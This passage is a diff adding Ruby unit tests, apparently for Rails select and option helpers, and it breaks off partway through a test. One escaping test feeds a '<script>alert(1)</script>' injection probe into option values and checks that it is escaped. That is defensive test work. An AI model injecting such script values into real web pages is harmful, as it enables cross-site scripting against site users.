+ output_buffer = fields_for :post, @post do |f|
+ concat f.select(:category, options, :prompt => 'The prompt')
+ end
+
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">The prompt</option>\n#{options}</select>",
+ output_buffer
+ )
+ end
+
+ def test_select_under_fields_for_with_block
+ @post = Post.new
+
+ output_buffer = fields_for :post, @post do |f|
+ concat(f.select(:category) do
+ concat content_tag(:option, "hello world")
+ end)
+ end
+
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option>hello world</option></select>",
+ output_buffer
+ )
+ end
+
+ def test_select_under_fields_for_with_block_without_options
+ @post = Post.new
+
+ output_buffer = fields_for :post, @post do |f|
+ concat(f.select(:category) {})
+ end
+
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"></select>",
+ output_buffer
+ )
+ end
+
+ def test_select_with_multiple_to_add_hidden_input
+ output_buffer = select(:post, :category, "", {}, :multiple => true)
+ assert_dom_equal(
+ "<input type=\"hidden\" name=\"post[category][]\" value=\"\"/><select multiple=\"multiple\" id=\"post_category\" name=\"post[category][]\"></select>",
+ output_buffer
+ )
+ end
+
+ def test_select_with_multiple_and_without_hidden_input
+ output_buffer = select(:post, :category, "", {:include_hidden => false}, :multiple => true)
+ assert_dom_equal(
+ "<select multiple=\"multiple\" id=\"post_category\" name=\"post[category][]\"></select>",
+ output_buffer
+ )
+ end
+
+ def test_select_with_multiple_and_with_explicit_name_ending_with_brackets
+ output_buffer = select(:post, :category, [], {include_hidden: false}, multiple: true, name: 'post[category][]')
+ assert_dom_equal(
+ "<select multiple=\"multiple\" id=\"post_category\" name=\"post[category][]\"></select>",
+ output_buffer
+ )
+ end
+
+ def test_select_with_multiple_and_disabled_to_add_disabled_hidden_input
+ output_buffer = select(:post, :category, "", {}, :multiple => true, :disabled => true)
+ assert_dom_equal(
+ "<input disabled=\"disabled\"type=\"hidden\" name=\"post[category][]\" value=\"\"/><select multiple=\"multiple\" disabled=\"disabled\" id=\"post_category\" name=\"post[category][]\"></select>",
+ output_buffer
+ )
+ end
+
+ def test_select_with_blank
+ @post = Post.new
+ @post.category = "<mus>"
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"\"></option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+ select("post", "category", %w( abe <mus> hest), :include_blank => true)
+ )
+ end
+
+ def test_select_with_blank_as_string
+ @post = Post.new
+ @post.category = "<mus>"
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">None</option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+ select("post", "category", %w( abe <mus> hest), :include_blank => 'None')
+ )
+ end
+
+ def test_select_with_blank_as_string_escaped
+ @post = Post.new
+ @post.category = "<mus>"
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">&lt;None&gt;</option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+ select("post", "category", %w( abe <mus> hest), :include_blank => '<None>')
+ )
+ end
+
+ def test_select_with_default_prompt
+ @post = Post.new
+ @post.category = ""
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+ select("post", "category", %w( abe <mus> hest), :prompt => true)
+ )
+ end
+
+ def test_select_no_prompt_when_select_has_value
+ @post = Post.new
+ @post.category = "<mus>"
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+ select("post", "category", %w( abe <mus> hest), :prompt => true)
+ )
+ end
+
+ def test_select_with_given_prompt
+ @post = Post.new
+ @post.category = ""
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">The prompt</option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+ select("post", "category", %w( abe <mus> hest), :prompt => 'The prompt')
+ )
+ end
+
+ def test_select_with_given_prompt_escaped
+ @post = Post.new
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">&lt;The prompt&gt;</option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+ select("post", "category", %w( abe <mus> hest), :prompt => '<The prompt>')
+ )
+ end
+
+ def test_select_with_prompt_and_blank
+ @post = Post.new
+ @post.category = ""
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\"></option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+ select("post", "category", %w( abe <mus> hest), :prompt => true, :include_blank => true)
+ )
+ end
+
+ def test_empty
+ @post = Post.new
+ @post.category = ""
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\"></option>\n</select>",
+ select("post", "category", [], :prompt => true, :include_blank => true)
+ )
+ end
+
+ def test_select_with_nil
+ @post = Post.new
+ @post.category = "othervalue"
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"\"></option>\n<option value=\"othervalue\" selected=\"selected\">othervalue</option></select>",
+ select("post", "category", [nil, "othervalue"])
+ )
+ end
+
+ def test_required_select
+ assert_dom_equal(
+ %(<select id="post_category" name="post[category]" required="required"><option value=""></option>\n<option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
+ select("post", "category", %w(abe mus hest), {}, required: true)
+ )
+ end
+
+ def test_required_select_with_include_blank_prompt
+ assert_dom_equal(
+ %(<select id="post_category" name="post[category]" required="required"><option value="">Select one</option>\n<option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
+ select("post", "category", %w(abe mus hest), { include_blank: "Select one" }, required: true)
+ )
+ end
+
+ def test_required_select_with_prompt
+ assert_dom_equal(
+ %(<select id="post_category" name="post[category]" required="required"><option value="">Select one</option>\n<option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
+ select("post", "category", %w(abe mus hest), { prompt: "Select one" }, required: true)
+ )
+ end
+
+ def test_required_select_display_size_equals_to_one
+ assert_dom_equal(
+ %(<select id="post_category" name="post[category]" required="required" size="1"><option value=""></option>\n<option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
+ select("post", "category", %w(abe mus hest), {}, required: true, size: 1)
+ )
+ end
+
+ def test_required_select_with_display_size_bigger_than_one
+ assert_dom_equal(
+ %(<select id="post_category" name="post[category]" required="required" size="2"><option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
+ select("post", "category", %w(abe mus hest), {}, required: true, size: 2)
+ )
+ end
+
+ def test_required_select_with_multiple_option
+ assert_dom_equal(
+ %(<input name="post[category][]" type="hidden" value=""/><select id="post_category" multiple="multiple" name="post[category][]" required="required"><option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
+ select("post", "category", %w(abe mus hest), {}, required: true, multiple: true)
+ )
+ end
+
+ def test_select_with_fixnum
+ @post = Post.new
+ @post.category = ""
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\"></option>\n<option value=\"1\">1</option></select>",
+ select("post", "category", [1], :prompt => true, :include_blank => true)
+ )
+ end
+
+ def test_list_of_lists
+ @post = Post.new
+ @post.category = ""
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\"></option>\n<option value=\"number\">Number</option>\n<option value=\"text\">Text</option>\n<option value=\"boolean\">Yes/No</option></select>",
+ select("post", "category", [["Number", "number"], ["Text", "text"], ["Yes/No", "boolean"]], :prompt => true, :include_blank => true)
+ )
+ end
+
+ def test_select_with_selected_value
+ @post = Post.new
+ @post.category = "<mus>"
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\" selected=\"selected\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+ select("post", "category", %w( abe <mus> hest ), :selected => 'abe')
+ )
+ end
+
+ def test_select_with_index_option
+ @album = Album.new
+ @album.id = 1
+
+ expected = "<select id=\"album__genre\" name=\"album[][genre]\"><option value=\"rap\">rap</option>\n<option value=\"rock\">rock</option>\n<option value=\"country\">country</option></select>"
+
+ assert_dom_equal(
+ expected,
+ select("album[]", "genre", %w[rap rock country], {}, { :index => nil })
+ )
+ end
+
+ def test_select_escapes_options
+ assert_dom_equal(
+ '<select id="post_title" name="post[title]">&lt;script&gt;alert(1)&lt;/script&gt;</select>',
+ select('post', 'title', '<script>alert(1)</script>')
+ )
+ end
+
+ def test_select_with_selected_nil
+ @post = Post.new
+ @post.category = "<mus>"
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+ select("post", "category", %w( abe <mus> hest ), :selected => nil)
+ )
+ end
+
+ def test_select_with_disabled_value
+ @post = Post.new
+ @post.category = "<mus>"
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\" disabled=\"disabled\">hest</option></select>",
+ select("post", "category", %w( abe <mus> hest ), :disabled => 'hest')
+ )
+ end
+
+ def test_select_not_existing_method_with_selected_value
+ @post = Post.new
+ assert_dom_equal(
+ "<select id=\"post_locale\" name=\"post[locale]\"><option value=\"en\">en</option>\n<option value=\"ru\" selected=\"selected\">ru</option></select>",
+ select("post", "locale", %w( en ru ), :selected => 'ru')
+ )
+ end
+
+ def test_select_with_prompt_and_selected_value
+ @post = Post.new
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"one\">one</option>\n<option selected=\"selected\" value=\"two\">two</option></select>",
+ select("post", "category", %w( one two ), :selected => 'two', :prompt => true)
+ )
+ end
+
+ def test_select_with_disabled_array
+ @post = Post.new
+ @post.category = "<mus>"
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\" disabled=\"disabled\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\" disabled=\"disabled\">hest</option></select>",
+ select("post", "category", %w( abe <mus> hest ), :disabled => ['hest', 'abe'])
+ )
+ end
+
+ def test_select_with_range
+ @post = Post.new
+ @post.category = 0
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"1\">1</option>\n<option value=\"2\">2</option>\n<option value=\"3\">3</option></select>",
+ select("post", "category", 1..3)
+ )
+ end
+
+ def test_collection_select
+ @post = Post.new
+ @post.author_name = "Babe"
+
+ assert_dom_equal(
+ "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+ collection_select("post", "author_name", dummy_posts, "author_name", "author_name")
+ )
+ end
+
+ def test_collection_select_under_fields_for
+ @post = Post.new
+ @post.author_name = "Babe"
+
+ output_buffer = fields_for :post, @post do |f|
+ concat f.collection_select(:author_name, dummy_posts, :author_name, :author_name)
+ end
+
+ assert_dom_equal(
+ "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+ output_buffer
+ )
+ end
+
+ def test_collection_select_under_fields_for_with_index
+ @post = Post.new
+ @post.author_name = "Babe"
+
+ output_buffer = fields_for :post, @post, :index => 815 do |f|
+ concat f.collection_select(:author_name, dummy_posts, :author_name, :author_name)
+ end
+
+ assert_dom_equal(
+ "<select id=\"post_815_author_name\" name=\"post[815][author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+ output_buffer
+ )
+ end
+
+ def test_collection_select_under_fields_for_with_auto_index
+ @post = Post.new
+ @post.author_name = "Babe"
+ def @post.to_param; 815; end
+
+ output_buffer = fields_for "post[]", @post do |f|
+ concat f.collection_select(:author_name, dummy_posts, :author_name, :author_name)
+ end
+
+ assert_dom_equal(
+ "<select id=\"post_815_author_name\" name=\"post[815][author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+ output_buffer
+ )
+ end
+
+ def test_collection_select_with_blank_and_style
+ @post = Post.new
+ @post.author_name = "Babe"
+
+ assert_dom_equal(
+ "<select id=\"post_author_name\" name=\"post[author_name]\" style=\"width: 200px\"><option value=\"\"></option>\n<option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+ collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { :include_blank => true }, "style" => "width: 200px")
+ )
+ end
+
+ def test_collection_select_with_blank_as_string_and_style
+ @post = Post.new
+ @post.author_name = "Babe"
+
+ assert_dom_equal(
+ "<select id=\"post_author_name\" name=\"post[author_name]\" style=\"width: 200px\"><option value=\"\">No Selection</option>\n<option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+ collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { :include_blank => 'No Selection' }, "style" => "width: 200px")
+ )
+ end
+
+ def test_collection_select_with_multiple_option_appends_array_brackets_and_hidden_input
+ @post = Post.new
+ @post.author_name = "Babe"
+
+ expected = "<input type=\"hidden\" name=\"post[author_name][]\" value=\"\"/><select id=\"post_author_name\" name=\"post[author_name][]\" multiple=\"multiple\"><option value=\"\"></option>\n<option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>"
+
+ # Should suffix default name with [].
+ assert_dom_equal expected, collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { :include_blank => true }, :multiple => true)
+
+ # Shouldn't suffix custom name with [].
+ assert_dom_equal expected, collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { :include_blank => true, :name => 'post[author_name][]' }, :multiple => true)
+ end
+
+ def test_collection_select_with_blank_and_selected
+ @post = Post.new
+ @post.author_name = "Babe"
+
+ assert_dom_equal(
+ %{<select id="post_author_name" name="post[author_name]"><option value=""></option>\n<option value="&lt;Abe&gt;" selected="selected">&lt;Abe&gt;</option>\n<option value="Babe">Babe</option>\n<option value="Cabe">Cabe</option></select>},
+ collection_select("post", "author_name", dummy_posts, "author_name", "author_name", {:include_blank => true, :selected => "<Abe>"})
+ )
+ end
+
+ def test_collection_select_with_disabled
+ @post = Post.new
+ @post.author_name = "Babe"
+
+ assert_dom_equal(
+ "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\" disabled=\"disabled\">Cabe</option></select>",
+ collection_select("post", "author_name", dummy_posts, "author_name", "author_name", :disabled => 'Cabe')
+ )
+ end
+
+ def test_collection_select_with_proc_for_value_method
+ @post = Post.new
+
+ assert_dom_equal(
+ "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option></select>",
+ collection_select("post", "author_name", dummy_posts, lambda { |p| p.author_name }, "title")
+ )
+ end
+
+ def test_collection_select_with_proc_for_text_method
+ @post = Post.new
+
+ assert_dom_equal(
+ "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option></select>",
+ collection_select("post", "author_name", dummy_posts, "author_name", lambda { |p| p.title })
+ )
+ end
+
+ def test_time_zone_select
+ @firm = Firm.new("D")
+ html = time_zone_select( "firm", "time_zone" )
+ assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\" selected=\"selected\">D</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "</select>",
+ html
+ end
+
+ def test_time_zone_select_under_fields_for
+ @firm = Firm.new("D")
+
+ output_buffer = fields_for :firm, @firm do |f|
+ concat f.time_zone_select(:time_zone)
+ end
+
+ assert_dom_equal(
+ "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\" selected=\"selected\">D</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "</select>",
+ output_buffer
+ )
+ end
+
+ def test_time_zone_select_under_fields_for_with_index
+ @firm = Firm.new("D")
+
+ output_buffer = fields_for :firm, @firm, :index => 305 do |f|
+ concat f.time_zone_select(:time_zone)
+ end
+
+ assert_dom_equal(
+ "<select id=\"firm_305_time_zone\" name=\"firm[305][time_zone]\">" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\" selected=\"selected\">D</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "</select>",
+ output_buffer
+ )
+ end
+
+ def test_time_zone_select_under_fields_for_with_auto_index
+ @firm = Firm.new("D")
+ def @firm.to_param; 305; end
+
+ output_buffer = fields_for "firm[]", @firm do |f|
+ concat f.time_zone_select(:time_zone)
+ end
+
+ assert_dom_equal(
+ "<select id=\"firm_305_time_zone\" name=\"firm[305][time_zone]\">" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\" selected=\"selected\">D</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "</select>",
+ output_buffer
+ )
+ end
+
+ def test_time_zone_select_with_blank
+ @firm = Firm.new("D")
+ html = time_zone_select("firm", "time_zone", nil, :include_blank => true)
+ assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+ "<option value=\"\"></option>\n" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\" selected=\"selected\">D</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "</select>",
+ html
+ end
+
+ def test_time_zone_select_with_blank_as_string
+ @firm = Firm.new("D")
+ html = time_zone_select("firm", "time_zone", nil, :include_blank => 'No Zone')
+ assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+ "<option value=\"\">No Zone</option>\n" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\" selected=\"selected\">D</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "</select>",
+ html
+ end
+
+ def test_time_zone_select_with_style
+ @firm = Firm.new("D")
+ html = time_zone_select("firm", "time_zone", nil, {},
+ "style" => "color: red")
+ assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\" style=\"color: red\">" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\" selected=\"selected\">D</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "</select>",
+ html
+ assert_dom_equal html, time_zone_select("firm", "time_zone", nil, {},
+ :style => "color: red")
+ end
+
+ def test_time_zone_select_with_blank_and_style
+ @firm = Firm.new("D")
+ html = time_zone_select("firm", "time_zone", nil,
+ { :include_blank => true }, "style" => "color: red")
+ assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\" style=\"color: red\">" +
+ "<option value=\"\"></option>\n" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\" selected=\"selected\">D</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "</select>",
+ html
+ assert_dom_equal html, time_zone_select("firm", "time_zone", nil,
+ { :include_blank => true }, :style => "color: red")
+ end
+
+ def test_time_zone_select_with_blank_as_string_and_style
+ @firm = Firm.new("D")
+ html = time_zone_select("firm", "time_zone", nil,
+ { :include_blank => 'No Zone' }, "style" => "color: red")
+ assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\" style=\"color: red\">" +
+ "<option value=\"\">No Zone</option>\n" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\" selected=\"selected\">D</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "</select>",
+ html
+ assert_dom_equal html, time_zone_select("firm", "time_zone", nil,
+ { :include_blank => 'No Zone' }, :style => "color: red")
+ end
+
+ def test_time_zone_select_with_priority_zones
+ @firm = Firm.new("D")
+ zones = [ ActiveSupport::TimeZone.new("A"), ActiveSupport::TimeZone.new("D") ]
+ html = time_zone_select("firm", "time_zone", zones )
+ assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"D\" selected=\"selected\">D</option>" +
+ "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "</select>",
+ html
+ end
+
+ def test_time_zone_select_with_priority_zones_as_regexp
+ @firm = Firm.new("D")
+
+ @fake_timezones.each_with_index do |tz, i|
+ tz.stubs(:=~).returns(i.zero? || i == 3)
+ end
+
+ html = time_zone_select("firm", "time_zone", /A|D/)
+ assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"D\" selected=\"selected\">D</option>" +
+ "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "</select>",
+ html
+ end
+
+ def test_time_zone_select_with_priority_zones_as_regexp_using_grep_finds_no_zones
+ @firm = Firm.new("D")
+
+ priority_zones = /A|D/
+ @fake_timezones.each do |tz|
+ priority_zones.stubs(:===).with(tz).raises(Exception)
+ end
+
+ html = time_zone_select("firm", "time_zone", priority_zones)
+ assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+ "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\" selected=\"selected\">D</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "</select>",
+ html
+ end
+
+ def test_time_zone_select_with_default_time_zone_and_nil_value
+ @firm = Firm.new()
+ @firm.time_zone = nil
+
+ html = time_zone_select( "firm", "time_zone", nil, :default => 'B' )
+ assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"B\" selected=\"selected\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\">D</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "</select>",
+ html
+ end
+
+ def test_time_zone_select_with_default_time_zone_and_value
+ @firm = Firm.new('D')
+
+ html = time_zone_select( "firm", "time_zone", nil, :default => 'B' )
+ assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\" selected=\"selected\">D</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "</select>",
+ html
+ end
+
+ def test_options_for_select_with_element_attributes
+ assert_dom_equal(
+ "<option value=\"&lt;Denmark&gt;\" class=\"bold\">&lt;Denmark&gt;</option>\n<option value=\"USA\" onclick=\"alert(&#39;Hello World&#39;);\">USA</option>\n<option value=\"Sweden\">Sweden</option>\n<option value=\"Germany\">Germany</option>",
+ options_for_select([ [ "<Denmark>", { :class => 'bold' } ], [ "USA", { :onclick => "alert('Hello World');" } ], [ "Sweden" ], "Germany" ])
+ )
+ end
+
+ def test_options_for_select_with_data_element
+ assert_dom_equal(
+ "<option value=\"&lt;Denmark&gt;\" data-test=\"bold\">&lt;Denmark&gt;</option>",
+ options_for_select([ [ "<Denmark>", { :data => { :test => 'bold' } } ] ])
+ )
+ end
+
+ def test_options_for_select_with_data_element_with_special_characters
+ assert_dom_equal(
+ "<option value=\"&lt;Denmark&gt;\" data-test=\"&lt;bold&gt;\">&lt;Denmark&gt;</option>",
+ options_for_select([ [ "<Denmark>", { :data => { :test => '<bold>' } } ] ])
+ )
+ end
+
+ def test_options_for_select_with_element_attributes_and_selection
+ assert_dom_equal(
+ "<option value=\"&lt;Denmark&gt;\">&lt;Denmark&gt;</option>\n<option value=\"USA\" class=\"bold\" selected=\"selected\">USA</option>\n<option value=\"Sweden\">Sweden</option>",
+ options_for_select([ "<Denmark>", [ "USA", { :class => 'bold' } ], "Sweden" ], "USA")
+ )
+ end
+
+ def test_options_for_select_with_element_attributes_and_selection_array
+ assert_dom_equal(
+ "<option value=\"&lt;Denmark&gt;\">&lt;Denmark&gt;</option>\n<option value=\"USA\" class=\"bold\" selected=\"selected\">USA</option>\n<option value=\"Sweden\" selected=\"selected\">Sweden</option>",
+ options_for_select([ "<Denmark>", [ "USA", { :class => 'bold' } ], "Sweden" ], [ "USA", "Sweden" ])
+ )
+ end
+
+ def test_options_for_select_with_special_characters
+ assert_dom_equal(
+ "<option value=\"&lt;Denmark&gt;\" onclick=\"alert(&quot;&lt;code&gt;&quot;)\">&lt;Denmark&gt;</option>",
+ options_for_select([ [ "<Denmark>", { :onclick => %(alert("<code>")) } ] ])
+ )
+ end
+
+ def test_option_html_attributes_with_no_array_element
+ assert_equal({}, option_html_attributes('foo'))
+ end
+
+ def test_option_html_attributes_without_hash
+ assert_equal({}, option_html_attributes([ 'foo', 'bar' ]))
+ end
+
+ def test_option_html_attributes_with_single_element_hash
+ assert_equal(
+ {:class => 'fancy'},
+ option_html_attributes([ 'foo', 'bar', { :class => 'fancy' } ])
+ )
+ end
+
+ def test_option_html_attributes_with_multiple_element_hash
+ assert_equal(
+ {:class => 'fancy', 'onclick' => "alert('Hello World');"},
+ option_html_attributes([ 'foo', 'bar', { :class => 'fancy', 'onclick' => "alert('Hello World');" } ])
+ )
+ end
+
+ def test_option_html_attributes_with_multiple_hashes
+ assert_equal(
+ {:class => 'fancy', 'onclick' => "alert('Hello World');"},
+ option_html_attributes([ 'foo', 'bar', { :class => 'fancy' }, { 'onclick' => "alert('Hello World');" } ])
+ )
+ end
+
+ def test_option_html_attributes_with_multiple_hashes_does_not_modify_them
+ options1 = { class: 'fancy' }
+ options2 = { onclick: "alert('Hello World');" }
+ option_html_attributes([ 'foo', 'bar', options1, options2 ])
+
+ assert_equal({ class: 'fancy' }, options1)
+ assert_equal({ onclick: "alert('Hello World');" }, options2)
+ end
+
+ def test_grouped_collection_select
+ @post = Post.new
+ @post.origin = 'dk'
+
+ assert_dom_equal(
+ %Q{<select id="post_origin" name="post[origin]"><optgroup label="&lt;Africa&gt;"><option value="&lt;sa&gt;">&lt;South Africa&gt;</option>\n<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option value="dk" selected="selected">Denmark</option>\n<option value="ie">Ireland</option></optgroup></select>},
+ grouped_collection_select("post", "origin", dummy_continents, :countries, :continent_name, :country_id, :country_name)
+ )
+ end
+
+ def test_grouped_collection_select_with_selected
+ @post = Post.new
+
+ assert_dom_equal(
+ %Q{<select id="post_origin" name="post[origin]"><optgroup label="&lt;Africa&gt;"><option value="&lt;sa&gt;">&lt;South Africa&gt;</option>\n<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option value="dk" selected="selected">Denmark</option>\n<option value="ie">Ireland</option></optgroup></select>},
+ grouped_collection_select("post", "origin", dummy_continents, :countries, :continent_name, :country_id, :country_name, :selected => 'dk')
+ )
+ end
+
+ def test_grouped_collection_select_with_disabled_value
+ @post = Post.new
+
+ assert_dom_equal(
